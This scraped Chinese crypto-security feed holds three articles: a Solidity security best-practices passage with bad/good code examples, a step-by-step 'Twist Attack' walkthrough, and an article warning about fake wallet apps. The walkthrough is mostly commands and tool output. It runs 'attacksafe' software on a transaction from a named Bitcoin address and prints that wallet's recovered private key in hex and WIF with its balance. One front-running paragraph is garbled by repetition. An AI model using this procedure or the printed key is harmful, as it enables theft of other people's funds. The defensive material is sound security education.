address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

同樣,推薦的解決方案是支持 pull over push payments

參見 SWC-113

具有區塊氣體限制的 DoS

每個區塊都有可以消耗的氣體量上限,因此可以進行計算量上限。這是區塊氣體限制。如果消耗的 gas 超過此限制,交易將失敗。這導致了幾個可能的拒絕服務向量:

通過無界操作對合約進行 Gas Limit DoS

您可能已經註意到前面示例的另一個問題:通過一次向所有人付款,您可能會遇到區塊 gas 限制。

即使沒有蓄意攻擊,這也可能導致問題。但是,如果攻擊者可以操縱所需的氣體量,那就尤其糟糕了。在前面的示例中,攻擊者可以添加一堆地址,每個地址都需要獲得非常小的退款。因此,退還每個攻擊者地址的 gas 成本最終可能會超過 gas 限制,從而阻止退款交易的發生。

這是 支持拉式付款而非推式付款的另一個原因。

如果您絕對必須遍歷一個未知大小的數組,那麼您應該計劃它可能會佔用多個塊,因此需要多個事務。您將需要跟踪您走了多遠,並能夠從該點繼續,如以下示例所示:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && gasleft() > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

如果在等待函數的下一次迭代時處理其他事務,您將需要確保不會發生任何不良情況 payOut() 。因此,僅在絕對必要時才使用此模式。

通過塊填充在網絡上進行 Gas 限制 DoS

即使您的合約不包含無限循環,攻擊者也可以通過以足夠高的 gas 價格放置計算密集型交易來防止其他交易被包含在區塊鏈中幾個區塊。

為此,攻擊者可以發出多個交易,這些交易將消耗整個 gas 限制,並在下一個區塊被開採時立即包含足夠高的 gas 價格。沒有 gas 價格可以保證包含在區塊中,但價格越高,機會就越大。

如果攻擊成功,則該塊中不會包含其他交易。有時,攻擊者的目標是在特定時間之前阻止對特定合約的交易。

此次攻擊  在一款賭博應用 Fomo3D 上進行的。該應用程序旨在獎勵最後一個購買“鑰匙”的地址。每次購買鑰匙都會延長計時器,一旦計時器變為 0,遊戲就會結束。攻擊者購買一把鑰匙,然後連續填充 13 個區塊,直到計時器被觸發並釋放支出。攻擊者發送的交易在每個區塊上消耗了 790 萬氣體,因此氣體限制允許一些小的“發送”交易(每個消耗 21,000 氣體),但不允許調用函數(消耗 300,000+ 氣體)  buyKey() 。

Block Stuffing 攻擊可用於任何需要在特定時間段內採取行動的合約。然而,與任何攻擊一樣,它只有在預期回報超過其成本時才有利可圖。這種攻擊的成本與需要填充的塊數成正比。如果通過阻止其他參與者的行動可以獲得大筆支出,那麼您的合約很可能會成為此類攻擊的目標。


外部調用

撥打外部電話時要小心

調用不受信任的合約可能會帶來一些意想不到的風險或錯誤。外部調用可能會在該合約或 它所依賴的任何其他合約中執行惡意代碼 。因此,每個外部調用都應被視為潛在的安全風險。當不可能或不希望刪除外部調用時,請使用本節其餘部分中的建議將危險降至最低。


標記不受信任的合約

與外部合約交互時,以明確表明與它們交互可能不安全的方式命名變量、方法和合約接口。這適用於您自己調用外部合約的函數。

// bad
Bank.withdraw(100); // Unclear whether trusted or untrusted

function makeWithdrawal(uint amount) { // Isn't clear that this function is potentially unsafe
    Bank.withdraw(amount);
}

// good
UntrustedBank.withdraw(100); // untrusted external call
TrustedBank.withdraw(100); // external but trusted bank contract maintained by XYZ Corp

function makeUntrustedWithdrawal(uint amount) {
    UntrustedBank.withdraw(amount);
}

避免外部調用後狀態改變

無論是使用 原始調用 (形式 someAddress.call())還是 合約調用 (形式 ExternalContract.someMethod()),假設惡意代碼可能會執行。即使 不是惡意的,惡意代碼也可以由ExternalContract調用的 任何合約執行  。

一個特別的危險是惡意代碼可能會劫持控制流,從而導致由於重入而導致的漏洞。(有關  此問題的更全面討論,請參閱重入)。

如果您正在調用不受信任的外部合約, 請避免在調用後更改狀態。這種模式有時也稱為 檢查-效果-交互模式

參見 SWC-107


不要使用 transfer() 或 send()

.transfer() 並將 .send() 恰好 2,300 gas 轉發給接收者。這種硬編碼的 gas 津貼的目標是防止 重入漏洞,但這只有在 gas 成本不變的假設下才有意義。最近 EIP 1884 被包含在伊斯坦布爾硬分叉中。EIP 1884 中包含的變化之一是增加了操作的 gas 成本 SLOAD ,導致合約的回退功能花費超過 2300 gas。

建議停止使用 .transfer() , .send() 改用 .call().

// bad
contract Vulnerable {
    function withdraw(uint256 amount) external {
        // This forwards 2300 gas, which may not be enough if the recipient
        // is a contract and gas costs change.
        msg.sender.transfer(amount);
    }
}

// good
contract Fixed {
    function withdraw(uint256 amount) external {
        // This forwards all available gas. Be sure to check the return value!
        (bool success, ) = msg.sender.call.value(amount)("");
        require(success, "Transfer failed.");
    }
}

請注意,這 .call() 對減輕重入攻擊沒有任何作用,因此必須採取其他預防措施。為防止重入攻擊,建議您使用 checks-effects-interactions 模式


處理外部調用中的錯誤

Solidity 提供了適用於原始地址的低級調用方法:  address.call()、  address.callcode()、 address.delegatecall()和 address.send()。這些低級方法從不拋出異常,但會 false 在調用遇到異常時返回。另一方面, 合約調用 (例如,  ExternalContract.doSomething())將自動傳播拋出(例如,  如果 拋出,ExternalContract.doSomething() 也會傳播  )。throwdoSomething()

如果您選擇使用低級調用方法,請確保通過檢查返回值來處理調用失敗的可能性。

// bad
someAddress.send(55);
someAddress.call.value(55)(""); // this is doubly dangerous, as it will forward all remaining gas and doesn't check for result
someAddress.call.value(100)(bytes4(sha3("deposit()"))); // if deposit throws an exception, the raw call() will only return false and transaction will NOT be reverted

// good
(bool success, ) = someAddress.call.value(55)("");
if(!success) {
    // handle failure code
}

ExternalContract(someAddress).deposit.value(100)();

參見 SWC-104


贊成  過 推送 外部呼叫

外部調用可能會意外或故意失敗。為了最大限度地減少此類故障造成的損害,通常最好將每個外部調用隔離到它自己的事務中,該事務可以由調用的接收者啟動。這與支付尤其相關,在這種情況下,最好讓用戶提取資金而不是自動將資金推送給他們。(這也減少了gas limit 出現問題的可能性 。)避免在單個交易中合併多個以太幣轉移。

// bad
contract auction {
    address highestBidder;
    uint highestBid;

    function bid() payable {
        require(msg.value >= highestBid);

        if (highestBidder != address(0)) {
            (bool success, ) = highestBidder.call.value(highestBid)("");
            require(success); // if this call consistently fails, no one else can bid
        }

       highestBidder = msg.sender;
       highestBid = msg.value;
    }
}

// good
contract auction {
    address highestBidder;
    uint highestBid;
    mapping(address => uint) refunds;

    function bid() payable external {
        require(msg.value >= highestBid);

        if (highestBidder != address(0)) {
            refunds[highestBidder] += highestBid; // record the refund that this user can claim
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        (bool success, ) = msg.sender.call.value(refund)("");
        require(success);
    }
}

參見 SWC-128


不要將調用委託給不受信任的代碼

該 delegatecall 函數用於從其他合約調用函數,就好像它們屬於調用方合約一樣。因此,被調用者可以改變調用地址的狀態。這可能是不安全的。下面的示例顯示了使用如何 delegatecall 導致合約的破壞和余額的損失。

contract Destructor
{
    function doWork() external
    {
        selfdestruct(0);
    }
}

contract Worker
{
    function doWork(address _internalWorker) public
    {
        // unsafe
        _internalWorker.delegatecall(bytes4(keccak256("doWork()")));
    }
}

如果以 已部署 合約的地址作為參數 Worker.doWork() 調用 , 合約將自毀。僅將執行委託給受信任的合約,而絕不會委託給用戶提供的地址。DestructorWorker


搶先交易是以太坊 DApp 中普遍存在的問題。DApp 開發人員不一定有設計 DApps 的心態。這是提出主題並提高對此類攻擊的認識的嘗試。雖然可以構建一些 DApp 級別的應用程序邏輯來緩解這些攻擊,但它在不同 DApp 類別中的普遍存在表明區塊鏈級別的緩解措施可能會更有效。我們強調這是一個重要的研究領域。我們認為搶先交易是一個行動過程,在這種過程中,一個實體可以從事先獲得有關即將進行的交易和交易的特權市場信息中獲益。自 1970 年代以來,搶先交易一直是金融工具市場的一個問題。隨著區塊鏈技術的出現,搶先交易以我們在這裡探索的新形式重新出現,受區塊鏈去中心化和透明性的啟發。在本文中,我們從分散的知識體系和以太坊區塊鏈上部署的前 25 個最活躍的去中心化應用程序 (DApps) 的前端運行實例中汲取靈感。此外,我們對 Status.im 初始代幣發行 (ICO) 進行了詳細分析,並展示了異常礦工行為的證據,這些行為表明了搶先購買代幣。最後,我們將提出的解決方案映射到有用的類別中 im 初始代幣發行 (ICO) 並顯示異常礦工行為的證據表明搶先購買代幣。最後,我們將提出的解決方案映射到有用的類別中 im 初始代幣發行 (ICO) 並顯示異常礦工行為的證據表明搶先購買代幣。最後,我們將提出的解決方案映射到有用的類別中


GitHub

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/HVh_cbsgSMg

來源:https://cryptodeeptech.ru/improving-overall-security


從對智能合約的攻擊中提高生態系統的整體安全性

 密碼分析

]]>
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值 https://cn.cryptodeeptech.ru/twist-attack-2/ Thu, 02 Mar 2023 10:55:30 +0000 https://cn.cryptodeeptech.ru/?p=2114


在本文中,我們將使用示例#2 實現扭曲攻擊,根據文章的第一理論部分,我們確保借助 secp256k1 橢圓曲線上的某些點,我們可以獲得部分值私鑰並在 5-15 分鐘內使用“Sagemath pollard rho 函數:(discrete_log_rho)”“中國剩餘定理”恢復比特幣錢包。

讓我們繼續進行一系列 ECC 操作,因為這些特定點是 secp256k1 橢圓曲線上的惡意選擇點

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md

根據 Paulo Barreto 的推文:https://twitter.com/pbarreto/status/825703772382908416 ?s=21

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

餘因子為3^2*13^2*3319*22639

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5


在運行Twist Attack時,可以通過對“公鑰”(secp256k1 橢圓曲線的選定點)進行一定的選擇來獲得“私鑰”,即揭示交易中的價值。之後,關於私鑰的信息也會被洩露,但是為此你需要執行幾個 ECC 操作。

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
https://attacksafe.ru/twist-attack-on-bitcoin
y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

所有點都(x, 0) 落在無效曲線上 b '= -x ^ 3 - ax


讓我們繼續進行實驗部分:

(考慮一個比特幣地址)

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx


(現在考慮關鍵易受攻擊的交易)

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

打開 [TerminalGoogleColab]

使用我們的18TwistAttack存儲庫實施Twist Attack算法

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

安裝我們需要的所有包

實施 Frey-Rück 攻擊以獲得密鑰“K”(NONCE)

requirements.txt


sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
,

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

為攻擊準備 RawTX


1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

保存在文件中:RawTX.txt

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

 為了實施攻擊,我們將使用“ATTACKSAFE SOFTWARE”軟件

實施 Frey-Rück 攻擊以獲得密鑰“K”(NONCE)
www.attacksafe.ru/software

訪問權限:

chmod +x attacksafe
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

應用:

./attacksafe -help
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊:

./attacksafe -list
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

讓我們選擇 -tool: twist_attack

為了從易受攻擊的 ECDSA 簽名交易中獲取特定的 secp256k1 點,我們將數據添加 RawTX 到文本文檔中並將其保存為文件 RawTX.txt

01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

-tool twist_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

我們發起了這次攻擊 -tool twist_attack 並將結果保存到一個文件中 SecretPoints.txt

現在看到成功的結果,打開文件 SecretPoints.txt

cat SecretPoints.txt

結果:

Elliptic Curve Secret Points:

Q11 = E1([97072073026593516785986136148833105674452542501015145216961054272876839453879, 107567253371779495307521678088935176637661904239924771700494716430774957820966])
Q21 = E2([3350296768277877304391506547616361976369787138559008027651808311357100316617, 72988900267653266243491077449097157591503403928437340215197819240911749073070])
Q22 = E2([112520741232779465095566100761481226712887911875949213866586208031790667764851, 67821409607391406974451792678186486803604797717916857589728259410989018828088])
Q31 = E3([19221018445349571002768878066568778104356611670224206148889744255553888839368, 51911948202474460182474729837629287426170495064721963100930541018009108314113])
Q32 = E3([41890177480111283990531243647299980511217563319657594412233172058507418746086, 50666391602993122126388747247624601309616370399604218474818855509093287774278])
Q33 = E3([42268931450354181048145324837791859216268206183479474730830244807012122440868, 106203099208900270966718494579849900683595613889332211248945862977592813439569])
Q41 = E4([54499795016623216633513895020095562919782606390420118477101689814601700532150, 105485166437855743326869509276555834707863666622073705127774354124823038313021])
Q61 = E6([62124953527279820718051689027867102514830975577976669973362563656149003510557, 100989088237897158673340534473118617341737987866593944452056172771683426720481])
Q62 = E6([86907281605062616221251901813989896824116536666883529138776205878798949076805, 19984923138198085750026187300638434023309806045826685297245727280111269894421])
Q63 = E6([66063410534588649374156935204077330523666149907425414249132071271750455781006, 25315648259518110320341360730017389015499807179224601293064633820188666088920])
Q64 = E6([109180854384525934106792159822888807664445139819154775748567618515646342974321, 102666617356998521143219293179463920284010473849613907153669896702897252016986])


RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

現在讓我們添加收到的 secp256k1 點

為此,打開Python-script: discrete.py

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

運行Python-script: discrete.py安裝SageMath


Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

安裝命令:

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

通過命令檢查SageMath的安裝:sage -v


Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
SageMath version 9.0

要求解離散對數,(Pollard's rho algorithm for logarithms)請運行Python-script: discrete.py

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

運行命令:

sage -python3 discrete.py
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

結果:

Discrete_log_rho:

14996641256
1546
19575
31735
9071789
145517682
11552
7151
3370711
10797447604
10120546250224

PRIVATE KEY:

3160389728152122137789469305939632411648887242506549174582525524562820572318

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

我們解決了離散對數並使用“中國剩餘定理 (Chinese remainder theorem)”得到了十進制格式的私鑰。

將私鑰轉換為 HEX 格式

私鑰的十進制格式已保存到文件中: privkey.txt

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

運行 Python 腳本:privkey2hex.py

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

python3 privkey2hex.py
cat privkey2hex.txt
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

讓我們打開生成的文件: privkey2hex.txt


Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

十六進制格式的私鑰:

PrivKey = 06fcb79a2eabffa519509e43b7de95bc2df15ca48fe6be29f9160bcd6ac1a49e

讓我們打開 bitaddress 並檢查:

ADDR: 1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx
WIF:  KwTHx3AhV8qiN6qyfG1D85TGEeUBiaMUjnQ11eVLP5NAfiVNLLmS
HEX:  06FCB79A2EABFFA519509E43B7DE95BC2DF15CA48FE6BE29F9160BCD6AC1A49E
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

https://live.blockcypher.com/widget/btc/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/received/

https://live.blockcypher.com/btc/address/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值
Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

BALANCE: $ 902.52


來源

攻擊安全軟件

電報:https://t.me/cryptodeeptech

視頻素材:https://youtu.be/pOviZOYItv4

來源:https://cryptodeep.ru/twist-attack-2


Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

 密碼分析

]]>
面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金 https://cn.cryptodeeptech.ru/crypto-wallet-protection/ Thu, 09 Feb 2023 20:22:21 +0000 https://cn.cryptodeeptech.ru/?p=1928

虛假加密貨幣應用程序的興起以及如何避免它們。詐騙者使用虛假的加密應用程序從投資者那裡竊取資金。一些惡意應用程序會進入官方應用程序商店。

而且,根據最新的欺詐報告,欺詐者正在使用虛假的加密貨幣應用程序從毫無戒心的加密貨幣投資者那裡竊取資金。它強調美國投資者通過虛假應用程序向騙子損失了大約 4270 萬美元。

據報導,這些計劃利用了人們對加密貨幣的高度興趣,尤其是在牛市期間,以欺騙加密用戶。

假冒的加密應用詐騙者如何引誘用戶

假冒加密貨幣應用程序詐騙者使用多種技術來吸引投資者。以下是其中一些的細分。

社會工程學計劃

一些假冒的加密貨幣應用詐騙網絡使用社會工程策略來引誘受害者。

在許多情況下,欺詐者通過交友網站等社交平台與受害者交朋友,然後誘騙他們下載看似實用的加密貨幣交易應用程序。

然後騙子說服用戶將資金轉移到該應用程序。然而,一旦轉賬完成,資金就會被“鎖定”,受害者永遠無法取款。

在某些情況下,詐騙者使用古怪的高收益債權來引誘受害者。當受害者意識到他們無法贖回資金時,詭計就告一段落。

本週早些時候,數字風險保護公司 Digital Shadows 的首席信息安全官 Rick Holland 在接受 Cointelegraph 採訪時強調,社交工程仍然是騙子的首要策略,因為它需要的努力最少。

“依靠久經考驗的社會工程學方法要實用得多,也更有利可圖,”他說。

這位網絡安全經理補充說,社會工程學使詐騙者很容易將高淨值人士作為目標。

上下文:Bob(假名,真人)收到一條聲稱來自他的交易所的文本。該消息指出,由於最近中國禁止使用加密貨幣,所有用戶都必須將資金提取到 defi 錢包中。該文本還包含指向 Bob 可以轉移資金的錢包的鏈接。下載錢包後,鮑勃從交易所取出了所有資金。超過 1000 萬美元的 ERC20-USDT 被轉移。Bob 並不知道他剛剛成為網絡釣魚詐騙的受害者。Bob 向我們尋求幫助以收回他的資金。

鮑勃不是第一個就這些騙局聯繫我們的人。隨著人們對加密貨幣的興趣增加,詐騙變得越來越普遍。根據我們的 MistTrack 服務的數據,超過 60% 的所有報告的黑客攻擊都與假錢包有關。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

有幾種方法可以保護您自己免受網絡釣魚攻擊:

  • 永遠不要點擊來自未知來源的任何鏈接,即使它看起來是合法的。詐騙者經常發送包含假錢包鏈接的電子郵件或文本。
  • 始終訪問原始網站,而不是點擊贊助廣告。詐騙者經常在搜索引擎上購買廣告空間,以宣傳他們通常看似真實的假冒網站。
  • 詐騙者會定期向您發送假裝提供幫助的消息。在獲得您的信任後,他們會向您發送一個鏈接,供您下載他們的應用程序並向其轉賬。他們通常會編造為什麼你不能提取資金,除非你存入額外的資金。
面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

許多成為這些騙局受害者的人再也沒有收到他們的錢。

詐騙者通常會冒充 Metamask 的支持。他們會假裝幫助任何目前在使用 Metamask 時遇到困難的人。在獲得他們的信任後,他們會發送一個鏈接,要求受害者輸入他們的種子階段。Metamask 絕不會 要求您提供助記詞或私鑰。這就是假 Metamask 錢包的樣子。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

深入分析

我們的團隊開始分析和研究這些受害者提供的信息。根據我們正在進行的調查,數以萬計的受害者的資產因這些網絡釣魚詐騙而被盜。到目前為止,被盜總金額超過 13 億美元。這些是唯一向慢霧報告的資金,我們只計算了 ETH、BTC、TRX、ERC20-USDT 和 TRC20-USDT。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

下圖描述了 11 月份向我們報告的病例數。


面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

一名受害者向我們提供了騙子的 Tron 地址。使用 MistTrack,我們的團隊能夠追踪和分析詐騙者的地址。它顯示了另外 14 個已將資金轉移到該地址的地址。我們可以假設這些地址也是這種網絡釣魚騙局的受害者。詐騙者總共能夠帶走超過 250,000 美元的 Trc20-USDT。他們後來將其分發到各種 Binance 帳戶。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

我們跟踪了其中一個 Binance 賬戶,發現它有超過 600,000 美元的 TRC20 — USDT。如果這只是詐騙者使用的地址之一,想像一下被盜的總金額。

隨著我們對該帳戶的進一步調查,我們發現了更多與之相關的非法活動。根據我們的 AML(反洗錢)軟件,與該帳戶關聯的 BTC 地址 (32q…fia) 被用於勒索。通過對該地址的調查,我們得出結論,這些網絡釣魚計劃不是孤立事件,而是更大全球範圍內的一部分。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

此外,我們的研究表明,詐騙者會頻繁地將部分資金轉移到多個交易所和另一個有大量交易的詐騙者錢包,以混淆我們的分析。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

可識別的品牌名稱

一些假冒的加密貨幣應用程序詐騙者使用知名品牌名稱來推廣假冒應用程序,因為他們擁有信任和權威。

在最新的加密貨幣犯罪報告中強調的一個案例中,網絡犯罪分子冒充 YiBit 員工,在說服投資者下載假冒的 YiBit 加密貨幣交易應用程序後,最近矇騙了投資者約 550 萬美元。

投資者並不知道,實際的 YiBit 加密貨幣交易公司已於 2018 年停止運營。向假應用程序進行的資金轉賬被盜。

在報告中概述的另一個案例中,網絡釣魚者使用與一家澳大利亞加密貨幣公司有關聯的 Supay 品牌名稱,從 28 名投資者中騙取了數百萬美元。該策略在 11 月 1 日至 11 月 26 日期間運行,造成 370 萬美元的損失。

此類計劃已持續多年,但由於缺乏適當的追索渠道,許多事件未被報告,尤其是在迴避加密貨幣的司法管轄區。

除美國外,印度等其他主要司法管轄區的調查最近也發現了精心設計的假冒加密應用程序計劃。

根據 CloudSEK 網絡安全公司 6 月發布的一份報告,新發現的一個涉及大量克隆應用程序和域的虛假加密應用程序計劃導致印度投資者損失至少 1.28 億美元。

通過官方應用商店分發虛假應用

假冒的加密貨幣應用程序騙子有時會使用官方應用程序商店來分發狡猾的應用程序。

一些應用程序旨在收集用戶憑據,然後用於解鎖相應官方平台上的加密帳戶。其他人聲稱提供安全的錢包解決方案,可用於存儲各種加密貨幣,但一旦存款就會竊取資金。

雖然 Google Play 商店等平台不斷審查應用程序是否存在完整性問題,但仍有可能出現一些假冒應用程序。

詐騙者用來實現這一目標的最新方法之一是在流行的移動應用程序商店(例如 Apple App Store 和 Google Play Store)上註冊為應用程序開發人員,然後上傳看似合法的應用程序。

2021 年,一款由 SatoshiLabs 創建的偽裝成錢包的假 Trezor 應用程序使用這種策略在 Apple App Store 和 Google Play Store 上發布。該應用程序聲稱可以讓用戶直接在線訪問他們的 Trezor 硬件錢包,而無需將他們的 Trezor 加密狗連接到計算機。

下載假冒 Trezor 應用程序的受害者必須提交他們的錢包種子短語才能開始使用該服務。種子短語是一串單詞,可用於訪問區塊鏈上的加密貨幣錢包

提交的詳細信息允許假冒應用程序背後的竊賊掠奪用戶資金。

根據 Apple 提供的一份聲明,假冒的 Trezor 應用程序是通過欺騙性的誘餌和切換策略在其商店中發布的。據稱,應用程序開發人員最初將該應用程序作為旨在加密文件的加密應用程序提交,但後來將其轉換為加密貨幣錢包應用程序。Apple 表示,在用戶報告之前,它並不知道這一變化。

本週早些時候,Bitcoin IRA(一家加密退休投資服務機構)的聯合創始人 Chris Kline 在接受 Cointelegraph 採訪時表示,儘管發生了此類事件,但該領域的主要科技公司仍堅決打擊假冒加密應用程序,因為它們可能會損害其完整性. 他說:“科技公司一直在為他們的用戶尋求更好的教育和安全。當今最著名的參與者將安全性置於其路線圖的最前沿。用戶需要得到保證,他們的數字資產是安全的,供應商將安全放在首位。”

也就是說,假冒應用程序問題在非官方應用程序商店中更為普遍。


加密貨幣具有足夠的風險,而不必擔心詐騙。無論您選擇哪一個,您都會處理易變的值。加入一些騙子,風險就會成倍增加。

